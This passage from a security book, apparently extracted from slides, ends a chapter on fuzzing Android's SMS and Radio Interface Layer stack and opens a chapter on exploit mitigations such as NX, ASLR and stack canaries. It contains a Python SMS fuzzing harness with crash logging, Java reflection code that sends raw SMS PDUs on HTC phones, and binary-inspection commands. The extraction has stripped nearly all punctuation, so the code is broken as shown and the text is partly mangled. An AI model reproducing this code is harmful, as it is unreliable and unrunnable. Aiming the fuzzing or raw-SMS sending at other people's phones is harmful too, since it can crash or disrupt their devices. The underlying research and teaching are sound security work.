Chapter 11 ■ Attacking the Radio Interface Layer 387 c11.indd 02:37:57:PM 02/24/2014 Page 387 cmd cmd + "/data/data/com.android.providers.telephony" cmd cmd + "/databases/mmssms.db\"" l os.popencmd r l.read l.close return r def cleanup_devicepath "": clean_sms_dbpath kill_procpath "com.android.mms" kill_procpath "com.android.phone" def log_bugfilename log test_case: fp openfilename "w" fp.writetest_case fp.write"\n-------------------------\n" fp.writelog fp.write"\n" fp.write"\n-------------------------\n" fp.close def file2casesfilename: out fp openfilename line fp.readline while line: cr line.split" " out.appendcr0 intcr1.rstrip"\n" line fp.readline fp.close return out def sendcasesdest_ip cases logpath cmdpath "" crlftype 1 delay 5 status 0 start 0: count 0 cleaner 0 for i in cases: if count start: line cmt i error sendmsgdest_ip line cmt crlftype if status 0: print "d errord data: s" count error line time.sleepdelay l get_logcmdpath print l if check_logl 1: lout line + " " + strcmt + "\n\n" log_buglogpath + strtime.time + ".log" l lout clean_logcmdpath count count + 1 cleaner cleaner + 1 if cleaner 50: cleanup_devicecmdpath

slide 420:

388 Chapter 11 ■ Attacking the Radio Interface Layer c11.indd 02:37:57:PM 02/24/2014 Page 388 cleaner 0 def sendcasesfromfilefilename dest_ip cmdpath "" crlftype 1 delay 5 logpath "./logs/" status 0 start 0: cases file2casesfilename sendcasesdest_ip cases logpath cmdpath crlftype crlftype delay delay status status start start if __name__ "__main__": fn os.sys.argv1 dest os.sys.argv2 start 0 if lenos.sys.argv 3: start intos.sys.argv3 print "Sending test cases from s to s" fn dest sendcasesfromfilefn dest cmdpath "" crlftype 3 status 1 start start Following is an example crash log that was saved by the fuzz monitoring script. The dump shows a NullPointerException in the SmsReceiverService. In the best case you would f nd a bug that triggers a native crash in rild itself. V/SmsReceiverService11360: onStart: 1 mResultCode: -1 Activity.RESULT_OK V/UsageStatsService11473: CMD_ID_UPDATE_MESSAGE_USAGE V/SmsReceiverService 6116: onStart: 1 1090741600 E/NotificationService 4286: Ignoring notification with icon0: Notification contentViewnull vibratenullsoundnullnulldefaults0x0flags0x62 D/SmsReceiverService 6116: isCbm: false D/SmsReceiverService 6116: isDiscard: false D/SmsReceiverService 6116: HTC_MESSAGES - SmsReceiverService: handleSmsReceived W/dalvikvm11360: threadid12: thread exiting with uncaught exception group0x40a9e228 D/SmsReceiverService 6116: isEvdo: false before inserMessage D/SmsReceiverService 6116: sms notification lock E/AndroidRuntime11360: FATAL EXCEPTION: SmsReceiverService E/AndroidRuntime11360: java.lang.NullPointerException E/AndroidRuntime11360: at com.concentriclivers.mms.com.android.mms. transaction.SmsReceiverService.replaceFormFeeds SmsReceiverService.java:512 E/AndroidRuntime11360: at com.concentriclivers.mms.com.android.mms. transaction.SmsReceiverService.storeMessage SmsReceiverService.java:527 E/AndroidRuntime11360: at com.concentriclivers.mms.com.android.mms. transaction.SmsReceiverService.insertMessage SmsReceiverService.java:443 E/AndroidRuntime11360: at com.concentriclivers.mms.com.android.mms. transaction.SmsReceiverService.handleSmsReceived SmsReceiverService.java:362 E/AndroidRuntime11360: at com.concentriclivers.mms.com.android.mms. transaction.SmsReceiverService.access1SmsReceiverService.java:359

slide 421:

Chapter 11 ■ Attacking the Radio Interface Layer 389 c11.indd 02:37:57:PM 02/24/2014 Page 389 E/AndroidRuntime11360: at com.concentriclivers.mms.com.android.mms. transaction.SmsReceiverServiceServiceHandler.handleMessage SmsReceiverService.java:208 E/AndroidRuntime11360: at android.os.Handler.dispatchMessageHandler. java:99 E/AndroidRuntime11360: at android.os.Looper.loopLooper.java:154 E/AndroidRuntime11360: at android.os.HandlerThread.runHandlerThread. java:60 D/SmsReceiverService 6116: smsc time: 03/29/99 8:16:59am 922713419000 D/SmsReceiverService 6116: device time: 01/21/13 6:20:01pm 1358810401171 E/EmbeddedLogger 4286: App crashed Process: com.concentriclivers.mms.com. android.mms E/EmbeddedLogger 4286: App crashed Package: com.concentriclivers.mms.com. android.mms v3 4.0.3 E/EmbeddedLogger 4286: Application Label: Messaging Verifying Fuzzing Results The described fuzzing method has one minor drawback. Each SMS message that produces a crash has to be verif ed using a real cellular network because you might have generated SMS messages that are not accepted by a real SMSC. To test if a given message is accepted by a real SMSC you simply try to send the given test case to another phone. Note that the generated SMS messages are in the SMS-Deliver format. To be able to send a given test case to another phone it has to be converted to the SMS-Submit format. We experimented with two approaches for this test. One approach is sending the SMS message using an online service such as www.routomessaging.com and www.clickatel.com. Most SMS online services have a simple HTTP-based API and are easy to use. Another more straightforward approach is to send the test case SMS message from one phone to another phone. On Android this can be a little complicated as the Android SMS API does not support raw PDU messages. However there are two workarounds that enable you to send raw PDU messages. The f rst workaround involves sending SMS messages directly using the GSM AT command AT+CMGS. This is possible if the modem-to-RIL communication is carried out using AT commands. You can do this by modifying Injectord to allow sending the CMGS command to the modem. The second workaround works on HTC Android phones only. HTC added functionality to send raw PDU SMS messages through the Java API. The API is hidden and you need to use Java ref ection in order to use it. The following code implements sending raw PDU messages on HTC Android phones. void htc_sendsmspdubyte pdu try SmsManager sm SmsManager.getDefault byte bb new byte1 Method m SmsManager.class.getDeclaredMethod "sendRawPdu"

slide 422:

390 Chapter 11 ■ Attacking the Radio Interface Layer c11.indd 02:37:57:PM 02/24/2014 Page 390 bb.getClass bb.getClass PendingIntent.class PendingIntent.class boolean.class boolean.class m.setAccessibletrue m.invokesm null pdu null null false false catch Exception e e.printStackTrace Summary In this chapter you read about the Android telephony stack. In particular you found out much of what there is to know about the Radio Interface Layer RIL. You examined basic RIL functionality and what hardware manufacturers must do to integrate their cellular hardware into the Android Framework. Based on this you discovered how to monitor the communication between the Android RIL and the cellular modem hardware. In the second half of this chapter you received instruction on how to fuzz test the SMS message subsystem of an Android device. In the process you found out a bit about the SMS message format and how to build an SMS message genera- tor SMS for fuzzing. This chapter also showed you how to use ADB to monitor the telephony stack of an Android device for crashes. Altogether this chapter enables you to carry out your own hacking experiments on the Android RIL subsystem. The next chapter covers all of the many exploit mitigation techniques that have been employed to help secure the Android platform. Each technique is explained in detail including historical facts and inner workings.

slide 423:

391 c12.indd 01:23:44:PM 02/24/2014 Page 391 In the exploit research community an arms race is ongoing between offensive and defensive researchers. As successful attacks are published or discovered defensive researchers aim to disrupt similar attacks from succeeding in the future. To do this they design and implement exploit mitigations. When a new mitigation is f rst introduced it disrupts the offensive community. Offensive researchers must then devise new techniques to work around the newly added protection. As researchers develop these techniques and publish them the effectiveness of the technique decreases. Defensive researchers then return to the drawing board to design new protections and so the cycle continues. This chapter discusses modern exploit mitigations and how they relate to the Android operating system. The chapter f rst explores how various mitigations function from a design and implementation point of view. Then it presents a historical account of Android’s support for modern mitigations providing code references when available. Next the chapter discusses methods for intention- ally disabling and overcoming exploit mitigations. Finally the chapter wraps up by looking forward at what exploit mitigation techniques the future might bring to Android. CHAPTER 12 Exploit Mitigations

slide 424:

392 Chapter 12 ■ Exploit Mitigations c12.indd 01:23:44:PM 02/24/2014 Page 392 Classifying Mitigations Modern operating systems use a variety of exploit mitigation techniques for enhanced protection against attacks. Many of these techniques aim squarely at preventing the exploitation of memory corruption exploits. However some techniques try to prevent other methods of compromise such as symbolic link attacks. Adding mitigation techniques to computer systems makes them more diff cult and thus more expensive to attack than they would be without mitigations. Implementing exploit mitigations requires making changes to various compo- nents of the system. Hardware-assisted mitigation techniques perform very well but they often require hardware changes within the processor itself. Additionally many techniques including hardware-assisted methods require additional software support in the Linux kernel. Some mitigation techniques require changing the runtime library and/or compiler tool chain. The exact modif cations needed for each technique carry advantages and disadvantages along with them. For hardware-assisted mitigations changing an instruction set architecture ISA or underlying processor design can be expensive. Also deploying new processors may take an extended period of time. Modifying the Linux kernel or runtime libraries is relatively easy compared to changing a processor design but building and deploying updated kernels is still required. As mentioned previously in Chapter 1 updating operating system components has proven to be a challenge in the Android ecosystem. Techniques that require changes to the compiler tool chain are even worse. Deploying them requires rebuilding—often with special f ags—each program or library that is to be protected. Techniques that rely only on changing the operating system are preferred because they typically apply system wide. On the contrary compiler changes only apply to programs compiled with mitigation enabled. In addition to all of the aforementioned pros and cons performance is a major concern. Some security professionals argue that protecting end users is worth a performance cost but many disagree. Numerous mitigations were not adopted initially or in some cases ever due to the unsatisfactory performance increase associated with them. Without further ado it’s time to examine some specif c mitigation techniques and see how they apply to the Android operating system. Code Signing Verifying cryptographic signatures is one mechanism used to prevent execut- ing unauthorized code often called code signing. Using public key cryptography devices can use a public key to verify that a particular private key held by a

slide 425:

Chapter 12 ■ Exploit Mitigations 393 c12.indd 01:23:44:PM 02/24/2014 Page 393 trusted authority signed a piece of code. Although Android doesn’t utilize code signing to the extent that iOS and OS X do it utilizes signature checking extensively. It is used in areas such as TrustZone locked boot loaders over-the- air updates applications and more. Due to the fragmented nature of Android exactly what is and isn’t verif ed varies from device to device. The most widespread use of code signing in Android pertains to locked boot loaders. Here the lowest-level boot loaders verify that subsequent boot stages come from a trusted source. The general idea is to verify a chain of trust all the way to the lowest-level boot loader which is usually stored in a boot read-only memory ROM chip. On some devices the last stage boot loader verif es the kernel and initial random-access memory RAM disk. Only a few devices such as Google TV devices go so far as to verify signatures on kernel modules. In addition to verifying signatures at boot time some devices implement signature checking when f ashing f rmware. One item that is sometimes checked during f ashing is the /system partition. Again the exact devices that implement this protection vary. Some devices verify signatures only at boot some verify dur- ing f ashing and some do both. Apart from the boot process code signing is also used to verify over-the-air updates. OTA updates come in the form of a zip f le containing patches new f les and required data. Typically updates are applied by rebooting into recov- ery mode. In this mode the recovery image handles verifying and installing the update. The content of the zip f le is cryptographically signed by a trusted authority — and later verif ed — to prevent malicious f rmware attacks. For example the default recovery image on Nexus devices refuses to apply updates unless they are signed by Google. Android applications employ code signing but the signature used doesn’t chain back to a trusted root authority. Rather than have all applications signed by a trusted source as Apple does for iOS apps Google requires that developers self-sign their apps before they can appear in the Google Play store. Not chain- ing back to a trusted root authority means end users must rely on community reputation to determine trust. The existence of an app in the Play store alone provides little indication of whether or not the app or its developer is trustworthy . Though Android does use code-signing mechanisms extensively the pro- tection it provides pales in comparison to that of iOS. All of the previously described mechanisms also apply to iOS in some way. The thing that sets iOS apart is that Apple uses code signing to enforce whether memory regions can be executed. Code can only be executed if it has been approved by Apple. This prevents downloading and executing or injecting new code after an applica- tion passes the approval process. The only exception is a single memory region marked with read write and execute permissions which is used for just-in- time JIT compiling in the browser. When combined with other mitigations Apple’s code signing makes traditional memory corruption attacks surprisingly

slide 426:

394 Chapter 12 ■ Exploit Mitigations c12.indd 01:23:44:PM 02/24/2014 Page 394 diff cult. Because Android does not enforce code signing this way it does not benef t from the protection such a technique provides. Memory trespass attacks and downloading and executing new code after installation are both possible. The other mitigation techniques presented in this chapter help to prevent some exploits from working but Trojan attacks remain unaffected. Hardening the Heap Around the time that the f rst mitigations targeting stack-based buffer overf ow vulnerabilities were introduced heap overf ows rose to popularity. In 1999 Matthew Conover of the w00w00 security team published a text f le called heaptut.txt. The original text can be found at http://www.cgsecurity.org/ exploit/heaptut.txt. This document served as an introduction of the possi- bilities of what heap-based memory corruption could allow. Later publications dug deeper and deeper covering exploitation techniques specif c to certain heap implementations or applications. Despite the amount of existing material heap corruption vulnerabilities are still commonplace today. At a high level there are two main approaches to exploiting heap corrup- tions. The f rst method involves targeting application-specif c data to leverage arbitrary code execution. For example an attacker may attempt to overwrite a security critical f ag or data used to execute shell commands. The second method involves exploiting the underlying heap implementation itself usually metadata used by the allocator. The classic unlink technique is an example of this approach but many more attacks have been devised since. This second method is more popular because such attacks can be applied more generically to exploit individual vulnerabilities across an entire operating system or family of operating system versions. How these attacks are mitigated vary from one heap implementation to the next. Android uses a modified version of Doug Lea’s memory allocator or dlmalloc for short. The Android-specif c modif cations are minor and are not related to security. However the upstream version of dlmalloc used 2.8.6 at the time of this writing does contain several hardening measures. For example exploits using the classic unlink attack are not possible without additional effort. Chapter 8 covers further details of how these mitigations work in Android. Android has included a hardened version of dlmalloc since its f rst public release. Protecting Against Integer Overfl ows Integer overf ow vulnerabilities or integer overf ows for short are a type of vulnerability that can result in many different types of unwanted behavior. Modern computers use registers that are of f nite size usually 32 bit or 64 bit

slide 427:

Chapter 12 ■ Exploit Mitigations 395 c12.indd 01:23:44:PM 02/24/2014 Page 395 to represent integer values. When an arithmetic operation occurs that exceeds this f nite space the excess bits are lost. The portion that does not exceed the space remains. This is called modular arithmetic. For example when the two numbers 0x8000 and 0x20000 are multiplied the result is 0x100000000. Because the maximum value of a 32-bit register is 0xffffffff the uppermost bit would not f t in the register. Instead the result value would be 0x00000000. Though integer overf ows can cause crashes incorrect price calculations and other issues the most interesting consequence is when memory corruption occurs. For example when such a value is passed to a memory allocation function the result is a buffer far smaller than what was expected. On August 5 2002 long time security researcher Florian Weimer notif ed the then-popular Bugtraq mailing list of a serious vulnerability in the calloc function of various C runtime libraries. This function takes two parameters: a number of elements and the size of one element. Internally it multiplies these two values and passes the result to the malloc function. The crux of the issue was that vulnerable C runtime libraries did not check if integer overf ow had occurred when multiplying. If the multiplication result was larger than a 32-bit number the function returned a much smaller buffer than what the caller expected. The issue was f xed by returning NULL if integer overf ow occurred. The Android Security Team ensured that this f x was implemented prior to the f rst release of Android. All versions of Android are protected against this issue. In the Android security-related documentation changes to calloc are touted as security enhancement. Most security researchers would consider it a success in not re-introducing a previously well-known vulnerability rather than an “enhancement.” That said this particular issue was never assigned a Common Vulnerabilities and Exposures CVE identif er We don’t really see this as an exploit mitigation but it was included here for completeness. Android attempts a more holistic approach to avoiding integer overf ows by including a library developed by Google Chrome OS developer Will Drewry called safe_iop. The name is short for “safe integer operations.” It includes special arithmetic functions that return failure when an integer overf ow occurs. This library is designed to be used for sensitive integer operations in lieu of the language-intrinsic arithmetic operators. Examples include calculating the size of a block of dynamic memory or incrementing a reference counter. Android has included this library since the very f rst release. During the course of writing this book we investigated Android’s use of safe_iop in further detail. We examined Android 4.2.2 the latest release at the time of this writing. We found only f ve source f les included the safe_iop header. Taking a deeper look we looked for references to the safe_add safe_mul and safe_sub functions provided by the library. Each function is referenced f ve two and zero times respectively. Primarily these uses lie in Bionic’s libc the stock recovery’s minzip and Dalvik’s libdex. Further Android’s version appears to be out of date. The current upstream version is 0.4.0 with several commits on

slide 428:

396 Chapter 12 ■ Exploit Mitigations c12.indd 01:23:44:PM 02/24/2014 Page 396 the way to 0.5.0. An AOSP commit references version 0.3.1 which is the current release version. However the safe_iop.h header f le does not contain version 0.3.1 in the change log. Overall this is somewhat disappointing given the benef t widespread use of such a library could have. Preventing Data Execution One common exploit-mitigation technique used by modern systems aims to prevent attackers from executing arbitrary code by preventing the execution of data. Machines based on the Harvard architecture contain this protection inherently. Those systems physically separate memory that holds code from memory that holds data. However very few systems including ARM-based devices use that architecture in its pure form. Instead modern systems are based on a modif ed Harvard architecture or the Von Neumann architecture. These architectures allow code and data to coexist in the same memory which enables loading programs from disk and eases software updates. Because these tasks are crucial to the convenience of a general-purpose computer systems can only partially enforce code and data separation. When designing this mitigation researchers chose to focus on the execution of data specif cally. In 2000 and 2002 pipacs of the PaX team pioneered two techniques to prevent executing data on the i386 platform. Because the i386 platform does not allow marking memory as non-executable in its page tables these two software-only techniques abused rarely used hardware features. In 2000 PaX included a tech- nique called P AGEEXEC. This technique uses the Translation Lookaside Buffer TLB caching mechanism present in those central processing units CPUs to block attempts to execute data. In 2002 PaX added the SEGMEXEC technique. This approach uses the segmentation features of i386 processors to split user- space memory into two halves: one for data and one for code. When fetching instructions from memory stored only in the data area a page fault occurs that allows the kernel to prevent data from executing. Though PaX struggled with wide adoption a variant of the SEGMEXEC technique was included in many Linux distributions as exec-shield. These techniques predate and very likely inspired the modern techniques used to prevent executing data. Modern devices use a combination of hardware and software support to prevent executing data. Current ARM and x86 processors support this feature though each platform uses slightly different terminology. AMD introduced hardware support for Never Execute NX in AMD64 processors such as the Athlon 64 and Opteron. Later Intel included support for Execute Disable XD in Pentium 4 processors. ARM added support for Execute Never XN in ARMv6. The HTC Dream also known as G1 or ADP1 used this processor design.

slide 429:

Chapter 12 ■ Exploit Mitigations 397 c12.indd 01:23:44:PM 02/24/2014 Page 397 In both ARM and x86 architectures the operating system kernel must sup- port using the feature to denote that certain areas of memory should not be executable. If a program attempts to execute such an area of memory a proces- sor fault is generated and delivered to the operating system kernel. The kernel then handles the fault by delivering a signal to the offending process which usually causes it to terminate. The Linux kernel marks the stack memory of a program as executable unless it f nds a GNU_STACK program header without the executable f ag set. This program header is inserted into the binary by the compiler tool chain when compiled with the -znoexecstack option. If no such program header exists or one exists with the executable f ag set the stack is executable. As a side effect all other readable mappings are executable as well. Determining whether a particular binary contains such a program header can be accomplished using either the execstack or readelf programs. These programs are available on most Linux distributions and are also included in the Android Open Source Project AOSP repository. The following excerpt shows how to query the executable stack status of a given binary using each program. dev:/android execstack -q cat cat-g1 - cat-gn-takju X cat-gn-takju-CLEARED dev:/android readelf -a cat-g1 | grep GNU_STACK dev:/android readelf -a cat-gn-takju | grep GNU_STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0 dev:/android readelf -a cat-gn-takju-CLEARED | grep GNU_STACK GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0 In addition to using these programs it is also possible to f nd out if memory mappings are executable via the maps entry in the proc f le system. The following excerpts show the mappings for the cat program on a Galaxy Nexus running Android 4.2.1 and a Motorola Droid running Android 2.2.2. shellandroid:/ on the Galaxy Nexus running Android 4.2.1 shellandroid:/ cat /proc/self/maps | grep -E stack|heap 409e4000-409ec000 rw-p 00000000 00:00 0 heap bebaf000-bebd0000 rw-p 00000000 00:00 0 stack on the Motorola Droid running Android 2.2.2 cat /proc/self/maps | grep -E stack|heap 0001c000-00022000 rwxp 00000000 00:00 0 heap bea13000-bea14000 rwxp 00000000 00:00 0 stack

slide 430:

398 Chapter 12 ■ Exploit Mitigations c12.indd 01:23:44:PM 02/24/2014 Page 398 Each line in the maps f le contains the start and end address permissions page offset major minor inode and name of a memory region. As you can see from the permissions f elds in the earlier code the stack and heap are not executable on the Galaxy Nexus. However they are both executable on the older Motorola Droid. Although the Linux kernel from the initial 1.5 release of Android supports this mitigation system binaries were not compiled with support for the fea- ture. Commit 2915cc3 added support on May 5 2010. Android 2.2 Froyo was released only two weeks later but did not include the protection. The next release Android 2.3 Gingerbread f nally brought this mitigation to consumer devices. Still some Gingerbread devices such as the Sony Xperia Play running Android 2.3.4 only partially implemented this mitigation. The following excerpt shows the stack and heap memory mappings on such a device. on a Sony Xperia Play with Android 2.3.4 cat /proc/self/maps | grep -E stack|heap 0001c000-00023000 rwxp 00000000 00:00 0 heap 7e9af000-7e9b0000 rw-p 00000000 00:00 0 stack Here the stack is not executable but data within the heap can still be executed. Inspecting the kernel sources for this device shows the heap was kept executable for legacy compatibility reasons though it is unclear if this was truly necessary. This mitigation was enabled in the Native Development Kit NDK with the release of revision 4b in June 2010. After that release all versions of AOSP and the NDK enable this compiler option by default. With this protection present attackers cannot directly execute native code located within non-executable mappings. Address Space Layout Randomization Address Space Layout Randomization ASLR is a mitigation technique that aims to introduce entropy into the address space of a process. It was introduced by the PaX team in 2001 as a stop-gap measure. Most exploits from the pre-ASLR era depended on hard-coded addresses. Although this was not a strict requirement exploit developers of that time used such addresses to simplify development. This mitigation is implemented in several places throughout the operating system kernel. However similar to preventing data execution the kernel enables and disables ASLR based on information in the binary format of executable code modules. Doing this means that support is also required in the compiler tool chain. There are many types of memory provided by the Linux kernel. This includes regions provided the brk and mmap system calls stack memory and more. The brk system call provides the memory area where the process stores its heap

slide 431:

Chapter 12 ■ Exploit Mitigations 399 c12.indd 01:23:44:PM 02/24/2014 Page 399 data. The mmap system call is responsible for mapping libraries f les and other shared memory into a process’s virtual address space. Stack memory is allocated early in process creation. ASLR functions by introducing entropy in the virtual addresses allocated by these facilities. Because there are multiple places where these regions are created randomizing each memory area requires special considerations and individual implementation. For that reason ASLR is often implemented in phases. History has shown that implementers will release different versions of their operating systems with varying amounts of support for ASLR. After all possible memory segments are randomized the operating system is said to support “Full ASLR.” Even if a system fully supports ASLR a given process’s address space might not be fully randomized. For example an executable that does not support ASLR cannot be randomized. This happens when the compiler f ags required to enable certain features were omitted at compile time. For example position- independent executable PIE binaries are created by compiling with the -fPIE and -pie f ags. You can determine if a particular binary was compiled with these f ags by inspecting the type f eld using the readelf command as shown in the following excerpt. dev:/android cat binary from Android 1.5 dev:/android readelf -h cat-g1 | grep Type: Type: EXEC Executable file dev:/android cat binary from Android 4.2.1 dev:/android readelf -h cat-gn-takju | grep Type: Type: DYN Shared object file When a binary supports having its base address randomized it will have the type DYN. When it does not it will have the type EXEC. As you can see in the preceding code the cat binary from the G1 cannot be randomized but the one from the Galaxy Nexus can. You can verify this by sampling the base address in the maps f le from proc several times as shown here: two consecutive samples on Android 1.5 /system/bin/toolbox/cat /proc/self/maps | head -1 00008000-00018000 r-xp 00000000 1f:03 520 /system/bin/toolbox /system/bin/toolbox/cat /proc/self/maps | head -1 00008000-00018000 r-xp 00000000 1f:03 520 /system/bin/toolbox shellandroid:/ two consecutive samples on Android 4.2.1 shellandroid:/ /system/bin/cat /proc/self/maps | grep toolbox | \ head -1 4000e000-4002b000 r-xp 00000000 103:02 267 /system/bin/toolbox shellandroid:/ /system/bin/cat /proc/self/maps | grep toolbox | \ head -1 40078000-40095000 r-xp 00000000 103:02 267 /system/bin/toolbox

slide 432:

400 Chapter 12 ■ Exploit Mitigations c12.indd 01:23:44:PM 02/24/2014 Page 400 The excerpts clearly show that proper binary base randomization occurs on Android 4.2.1. This can be seen from the f rst number the base addresses of the binary’s code region. The base addresses differ between two consecutive executions 0x4000e000 for the f rst and 0x40078000 for the second. As expected the base address of Android 1.5 binary does not get randomized. NOTE The cat binary on Android is often just a symbolic link to the toolbox binary. Additionally the shell provided by Android sometimes includes the cat com- mand as a built-in. On those systems it’s necessary to execute /system/bin/cat to get an accurate sampling across executions. Another memory area that tends to be overlooked is the vdso x86 or vectors ARM regions. These memory mappings facilitate easier and quicker commu- nication with the kernel. Up until 2006 x86 Linux did not randomize the vdso memory region. Even after the kernel supported randomizing the vdso some Linux distributions did not enable the required kernel conf guration option until much later. Similar to other modern operating systems Android’s support for ASLR was implemented in phases. Initial ASLR support introduced in 4.0 only included randomization for the stack and regions created by the mmap system call including dynamic libraries. Android 4.0.3 implemented randomization for the heap in commit d707fb3. However ASLR was not implemented for the dynamic linker itself. Georg Wicherski and Joshua J. Drake leveraged this fact when they devel- oped the browser exploit discussed in Chapter 8 and Chapter 9. Android 4.1.1 made signif cant improvements by adding entropy into the base addresses of the dynamic linker and all system binaries. As of this writing Android almost fully supports ASLR. The only remaining memory region that is not random- ized is the vectors region. NOTE Combining multiple mitigations in a layered approach is a form of defense in depth. Doing so signifi cantly complicates the creation of reliable exploits. The best example is when ASLR and XN are both fully enabled. In isolation they have limited eff ect. Without full ASLR attackers can use Return-Oriented Programming covered in Chapter 9 to bypass XN. Full ASLR without XN is easily circumvented by using tech- niques such as heap spraying. Each of these mitigations complements the other mak- ing for a much stronger security posture. Protecting the Stack In order to combat stack-based buffer overf ows Crispin Cowan introduced a protection called StackGuard in 1997 . The protection works by storing a canary value before the saved return address of the current stack frame. The canary

slide 433:

Chapter 12 ■ Exploit Mitigations 401 c12.indd 01:23:44:PM 02/24/2014 Page 401 sometimes called a cookie is created dynamically in a function’s prologue. The code to do so is inserted by the compiler at compile time. Ini